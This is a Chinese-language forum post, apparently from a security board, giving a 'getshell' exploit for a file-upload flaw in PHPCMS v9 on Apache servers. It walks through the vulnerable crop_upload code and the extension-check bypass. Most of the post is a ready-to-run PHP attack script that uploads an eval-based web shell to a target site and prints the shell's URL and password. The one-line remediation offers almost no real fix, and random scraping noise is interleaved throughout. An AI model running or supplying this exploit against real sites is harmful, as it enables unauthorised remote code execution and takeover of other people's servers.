找回密码
 立即注册
查看: 2720|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
9 m. X, u* H8 D; l; `, F9 ]4 l7 q( d9 n
简要描述:) l' Z1 J4 h- L6 h; F( U1 N
" j# ^# ]8 A) G% P2 h1 D9 V4 S9 V' F
phpcms v9 getshell (apache)
' z. b$ p2 t0 D( o% {4 e3 v6 s详细说明:
- F. R; R  s% M0 f* @, t) l8 q
, b( f3 G7 R3 Q) \/ ~" o漏洞文件:phpcms\modules\attachment\attachments.php# E7 \  M, r$ B* S9 T

9 i' D! k1 G- T% p* G! }public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } ) u4 @1 ?& L) L5 k6 R$ k
后缀检测:phpcms\modules\attachment\functions\global.func.php2 A7 {' h: X3 P5 O. h

4 c% A$ T# h: V3 T- s' M
8 O0 r7 w- e% a+ q* p: y/ N8 ^6 y4 \( b7 H/ d
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
3 Y/ L  I9 L6 l+ r! B1 a% o
8 k; Z/ L" j; }# b( f6 ]关键函数:
* N# x9 k) S0 {) D. o3 \" s  n) H0 {% [% F+ t
8 K2 R9 y/ t0 m
* `2 H3 Z) w( C! l- \! L! [
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
: d! d  o: a# H3 s4 X0 }  o- j
8 O* }* I$ a6 Q1 L+ i  Fileext函数是对文件后缀名的提取。. _% `' M& ^) {* M
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
# b! R+ J1 X8 n1 l; A" s7 Y2 a经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
% Q# A! f0 e  N! ?, v我们回到public function crop_upload() 函数中
' P( ^  W% }3 F" S- n1 @4 Sif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();% y/ [* D1 N' b- c1 N* @
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
8 }8 n2 @" Q+ |2 o5 R2 i这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
* ~- k& V4 O% o经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。  P$ x- v/ ?3 b" U
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
; E3 k4 [7 a1 S. e: m看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
0 ?4 h: w4 t: j' t漏洞证明:
/ \/ U' z1 e: f% I% V6 C7 \) C1 E+ b! G- L7 _
exp:
0 a+ r* V( ~9 @2 o* q5 o/ s3 p% [& b4 G. t1 `
<?php+ S- ?6 i) P( V1 s
error_reporting(E_ERROR);
" H! c1 {* n, p" Z' n! Sset_time_limit(0);
' M& }" ]) i" {  x$ m3 M7 F$pass="ln";8 }8 U  `$ ]4 f& g
print_r('
; ^2 ?7 t! w" N7 b+---------------------------------------------------------------------------+  M& ~& i, A6 R3 m" F! d# l" D) f
PHPCms V9 GETSHELL 0DAY 6 ~7 N. i3 I7 n, ^' b  o2 w# l
code by L.N.
. y& i# S+ m" F7 j& t0 ^2 ?, V  ]9 }' l
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net# f, ~) {( M) M8 @, E- F
+---------------------------------------------------------------------------+
1 l; D+ Q3 u' n* D- Q( o');* f4 a& s! u5 w* y
if ($argc < 2) {
9 T; O3 R* s2 G$ `print_r('& z; ~* f' b, {; U+ y! H. C" ^
+---------------------------------------------------------------------------+
4 r8 Z8 I  c& {5 cUsage: php '.$argv[0].' url path# D8 @' h7 p- V9 X; U# E
! B. G& |1 y% y9 ~
Example:
3 i3 g5 `/ X  O( |3 _1.php '.$argv[0].' lanu.sinaapp.com
0 C# r  a. }  r$ R: J. |6 e2.php '.$argv[0].' lanu.sinaapp.com /phpcms& p! \9 q1 F. G3 v  M- d' p
+---------------------------------------------------------------------------+: q% M$ T3 ~# T3 A* L5 _$ X$ J6 {% a
');
2 v. c! \$ ~+ K6 aexit;
3 s- A% g! l, s5 Z" H}% a5 t" Y. c( B( o/ j% x/ r9 w/ f: l
1 R9 a* F: t/ u- b- F( S
$url = $argv[1];
, j( i1 G$ D* S; U' |0 i* @3 J$path = $argv[2];
7 T- J, P, s  F2 ~' C' M6 X$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';' u& K( w6 U0 y: P! z/ D" F* E& W
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';1 ]) R. L* s- M' O4 V" e  D
if($ret=Create_dir($url,$path))( j3 E: B1 N0 c  R3 f
{
# O" `5 X5 k9 K) u6 e; \; e//echo $ret;6 b: f, `6 U% Z8 v- r/ [
$pattern = "|Server:[^,]+?|U";! D( l$ [, q- S
preg_match_all($pattern, $ret, $matches);- v' L6 y* G8 L  C( v
if($matches[0][0])  r; V; E3 ?) |3 H, A& p  e
{
2 M* w- H1 U7 Q/ N  A6 tif(strpos($matches[0][0],'Apache') == false)( ~' Q9 l1 b$ e$ T4 s
{0 \, s9 F7 T6 L2 u4 z
echo "\n亲!此网站不是apache的网站。\n";exit;& e) o: K) J5 ?& C1 B* r" z# ?
}: b' U; \& o5 v  z9 Y  U
}
: c' R* S2 e+ a( `6 @" k: K$ret = GetShell($url,$phpshell,$path,$file);# g) V! y3 l% Y9 ?
$pattern = "|http:\/\/[^,]+?\.,?|U";) n* X1 v* j" t0 `
preg_match_all($pattern, $ret, $matches);5 Y9 y3 `( Q" G- |% d/ @. k  Y5 @
if($matches[0][0])
7 K+ m& U# k- E3 N{
  K# X, I# a( qecho "\n".'密码为: '.$pass."\n";
( r, z; f! h8 Zecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;0 |$ A) S# b2 g8 v4 l3 o
}" p! k3 P5 i! h
else
, T5 d. {5 D8 O* T8 }! {% S% K{% v+ C+ T7 v5 e# ~8 Y# z
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";" J, L  j6 v, ^( B& V+ _) c  T
preg_match_all($pattern, $ret, $matches);
4 g& ~) b/ b4 K" f. `" Gif($matches[0][0])0 d4 M" {! f, d, n' `
{3 @$ A5 d4 L8 Z! N
echo "\n".'密码为: '.$pass."\n";4 p" Q- p8 Z3 @, v$ T4 _5 n
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;/ I6 m5 M. ~  \7 K. k" U$ i
}* p$ ?  w% x8 S- {
else
/ G4 @2 ?' V. a6 S" x{# o6 b/ W  |% `+ m4 V- @/ R
echo "\r\n没得到!\n";exit;9 D6 w% j# J6 S( P, h9 M
}: m6 m5 g4 y/ N4 M7 P
}. |# A2 p* Y" t1 g7 C
}: r+ o, ^2 o/ p* A( i+ E( r

$ ~. A2 d; r' E, B( f2 c5 r" X5 x6 ufunction GetShell($url,$shell,$path,$js)
# u% p4 U/ y$ e, C% ]- _4 E{7 X$ v( R/ F9 Y1 O0 H5 k
$content =$shell;# g+ F! v( `. n  F* Z0 a
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
9 v0 U3 f/ _6 T: q1 Z4 \3 v  r$data .= "Host: ".$url."\r\n";, X, p! f, Q( Y2 h# n2 }' ^
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
% }9 h- m9 p9 C. i8 b3 b$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
8 U9 P& Z: Y5 \' \* C  H$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
5 R; b6 \) R+ H( r: x$data .= "Connection: close\r\n";
# S. _3 ^$ p& j( k) X% V$data .= "Content-Length: ".strlen($content)."\r\n\r\n";! Y/ _5 A! ~6 b
$data .= $content."\r\n";  O! e) @2 P+ _& Y
$ock=fsockopen($url,80);0 n/ M" O  @! V) n6 N9 W0 k
if (!$ock)
: I) U' a: M: `5 Q  t{1 h2 a0 N. n3 `; Z* {3 z7 M( M7 `
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
- {! e5 r  W# U/ @% {}
3 m0 W* e, D* N$ Q- telse
& E" g' c  h  B$ A2 \0 K: T{; u6 U) [$ ?& G/ s( q* @
fwrite($ock,$data);
- |; N. j* @: i3 j  {, X. r7 S$resp = '';3 O/ X3 [0 }1 q9 Y0 Z1 x
while (!feof($ock))
2 o6 m. ?3 y; Y4 G{
* ?# W7 o# X& h2 f, U: e* D1 p$resp.=fread($ock, 1024);. |1 }7 y+ u( H: n
}
$ P$ ?7 y( J) y: u$ c( i6 ?1 _. Ureturn $resp;
2 n/ L% {3 ]* L2 j}
. w, H$ N  j& Q- h}" O' Q5 i3 N7 s8 g

6 C9 d1 m) `9 o7 T  H' s/ M9 Y& w$ dfunction Create_dir($url,$path='')7 M+ m# u! A9 U4 y* m3 x
{% T4 D$ }7 w8 H0 ?: l7 C4 ]
$content ='I love you';
. l8 [8 Q3 [6 c. ~& \4 W$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";% }- r( a% P+ {* P, l, I, |* ]
$data .= "Host: ".$url."\r\n";
+ C+ c& E! {# e1 g' B' P; L! L2 b$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";6 P# G6 x8 t& ?. U* V
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";0 [1 T9 m: V- w' `6 V* q
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
8 H% @  t  F9 W3 K$data .= "Connection: close\r\n";5 D5 G/ A2 I3 y$ @4 a
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";8 L# [; g/ z3 p4 [- B
$data .= $content."\r\n";
, y0 ^) W& w" G; }6 I" C0 G1 A7 O. P$ock=fsockopen($url,80);: }. l- ^+ S* t7 T1 B$ s  N
if (!$ock)# E! ?7 L+ h2 J$ w
{7 f' k. F( |0 f# D, L" J
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
- l4 N$ q/ c& ?9 }}
9 f! i+ ]4 y7 m" q) o% nfwrite($ock,$data);* W( s: R- ^* X8 Y% m; d+ R
$resp = '';, d! ?0 Y  [, f% H& o
while (!feof($ock)); A, h9 m, s' E7 F6 t& t
{
# X/ q$ L8 m" N3 p  P4 E) _$resp.=fread($ock, 1024);8 o1 Z/ L" c. U
}
- L5 ^- }$ Z2 A& @! g' i% g4 `return $resp;
( F2 N2 w9 j2 f# A& ?9 R( @9 e7 p}
% t: g5 D% y6 u& V3 p7 G% f% V  x?> * w8 ]' p6 k2 U3 h/ |. |
) d* o" H; `- }3 K% P
修复方案:
, A( G, r1 s$ G/ v, X' k: }8 d1 d7 A& Y2 g/ u8 E! F
过滤过滤再过滤: z) b" l/ r; {& p

" T9 s/ \( U' Q; d% ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表